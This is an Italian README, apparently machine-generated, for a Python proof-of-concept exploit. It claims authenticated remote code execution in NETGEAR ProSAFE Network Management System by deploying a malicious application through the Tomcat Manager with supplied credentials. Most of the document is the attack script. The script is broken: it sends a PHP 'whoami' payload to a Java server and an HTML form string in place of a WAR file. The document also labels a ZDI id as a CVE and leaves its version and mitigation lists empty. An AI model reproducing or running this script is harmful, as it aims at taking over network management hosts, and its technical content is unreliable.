
Script Python proof-of-concept che dimostra l'esecuzione remota di codice autenticata in NETGEAR ProSAFE Network Management System tramite Apache Tomcat vulnerabile distribuendo un'applicazione web dannosa.
Ecco un README.md strutturato per il Proof of Concept (PoC) della vulnerabilità di Remote Code Execution (RCE) in NETGEAR ProSAFE Network Management System:
Questo repository contiene uno script di Prova di Concetto (PoC) che dimostra una vulnerabilità di Esecuzione Remota di Codice (RCE) in NETGEAR ProSAFE Network Management System. La vulnerabilità è dovuta all'uso di una versione vulnerabile di Apache Tomcat all'interno del programma di installazione del prodotto. Questo problema consente a un utente malintenzionato autenticato di eseguire codice arbitrario sulle installazioni interessate.
CVE-ID: ZDI-CAN-22868
Panoramica: NETGEAR ProSAFE Network Management System contiene una vulnerabilità di esecuzione remota di codice dovuta all'uso di una versione vulnerabile di Apache Tomcat. Un utente malintenzionato in possesso di autenticazione può sfruttare questa vulnerabilità per eseguire codice arbitrario sul sistema interessato nel contesto di SYSTEM.
Versioni Interessate:
Autenticazione: Richiesta
Questo PoC dimostra come un utente malintenzionato può sfruttare la vulnerabilità per ottenere l'esecuzione remota di codice. Il difetto specifico risiede nel programma di installazione del prodotto a causa dell'uso di una versione obsoleta o vulnerabile di Apache Tomcat.
Il seguente script illustra come sfruttare questa vulnerabilità RCE. Assicurati di avere le autorizzazioni appropriate prima di eseguire questo PoC.
Importante: Questo PoC è solo a scopo educativo e non deve essere utilizzato per attività non autorizzate o dannose.
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Change this to the Tomcat Manager URL of the target
username = "admin" # Change to the valid username
password = "password" # Change to the valid password
# The payload to be executed on the remote server
payload = """
<?php
// Payload to execute arbitrary PHP code
system('whoami');
?>
"""
# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# Headers for authentication
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploit the RCE vulnerability by deploying a malicious web application.
Args:
url (str): The Tomcat Manager URL.
username (str): The Tomcat Manager username.
password (str): The Tomcat Manager password.
payload (str): The malicious payload to be executed.
"""
try:
# Create a new web application with the malicious payload
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Successfully deployed the malicious web application.")
else:
print("[-] Failed to deploy the malicious web application.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Exploiting RCE vulnerability at: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url sull'URL di Tomcat Manager del sistema di destinazione e aggiorna username e password con credenziali valide.exploit_rce() invia una richiesta POST per distribuire l'applicazione web dannosa.Per mitigare questa vulnerabilità, segui i seguenti passaggi:
Seguendo questi passaggi, puoi affrontare la vulnerabilità RCE in NETGEAR ProSAFE Network Management System e migliorare la sicurezza complessiva.
Questo README.md fornisce una descrizione dettagliata e uno script PoC per la vulnerabilità RCE, incluse istruzioni di configurazione, considerazioni e consigli per la mitigazione.